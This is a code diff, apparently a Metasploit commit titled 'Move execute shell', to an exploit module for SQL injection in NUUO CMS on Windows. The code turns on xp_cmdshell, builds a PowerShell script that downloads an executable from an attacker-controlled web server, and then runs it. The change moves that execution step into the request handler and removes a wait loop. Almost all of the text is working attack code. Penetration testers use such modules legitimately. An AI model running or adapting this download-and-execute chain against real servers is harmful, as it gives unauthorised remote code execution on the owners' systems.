Move execute shell

Author: jrobles-r7

modules/exploits/windows/nuuo/nuuo_cms_sqli.rb

@@ -44,11 +44,7 @@ def initialize(info={})
       'Privileged'     => false,                  # we run as NETWORK_SERVICE
       'DisclosureDate' => 'Oct 11 2018',
       'DefaultTarget'  => 0))
-    register_options(
-      [
-        Opt::RPORT(5180),
-        OptInt.new('SLEEP', [true, 'How long to wait for the payload download', '15']),
-      ])
+    register_options [Opt::RPORT(5180)]
   end
 
 
@@ -68,8 +64,10 @@ def on_request_uri(cli, request)
       return
     end
     print_good('Sending the payload to CMS...')
-    @exe_sent = true
     send_response(cli, @pl)
+
+    print_status('Executing shell...')
+    inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\""), true)
   end
 
   def create_hex_cmd(cmd)
@@ -89,7 +87,6 @@ def exploit
     end
 
     @pl = generate_payload_exe
-    @exe_sent = false
     resource_uri = "/#{rand_text_alpha(8..16)}"
 
     #do not use SSL
@@ -112,29 +109,16 @@ def exploit
     # we need to roll our own here instead of using the MSSQL mixins
     # (tried that and it doesn't work)
     print_status("Enabling xp_cmdshell and asking CMS to download and execute #{service_url}")
-    filename = "#{rand_text_alpha_lower(8..10)}.exe"
+    @filename = "#{rand_text_alpha_lower(8..10)}.exe"
     download_pl = %{xp_cmdshell }
     download_pl << %{'cd C:\\windows\\temp\\ && }
     download_pl << %{echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && }
     download_pl << %{echo $url = "#{service_url}" >> wget.ps1 && }
-    download_pl << %{echo $file = "#{filename}" >> wget.ps1 && }
+    download_pl << %{echo $file = "#{@filename}" >> wget.ps1 && }
     download_pl << %{echo $webclient.DownloadFile($url,$file) >> wget.ps1 && }
     download_pl << %{powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1'}
 
     print_status('Injecting PowerShell payload')
     inject_sql("exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd(download_pl))
-
-    counter = 0
-    while (not @exe_sent || counter >= datastore['SLEEP'])
-      Rex.sleep(1)
-      counter += 1
-    end
-
-    unless @exe_sent
-      fail_with(Failure::Unknown, 'Could not get CMS to download the payload')
-    end
-
-    print_status('Executing shell...')
-    inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{filename}\""), true)
   end
 end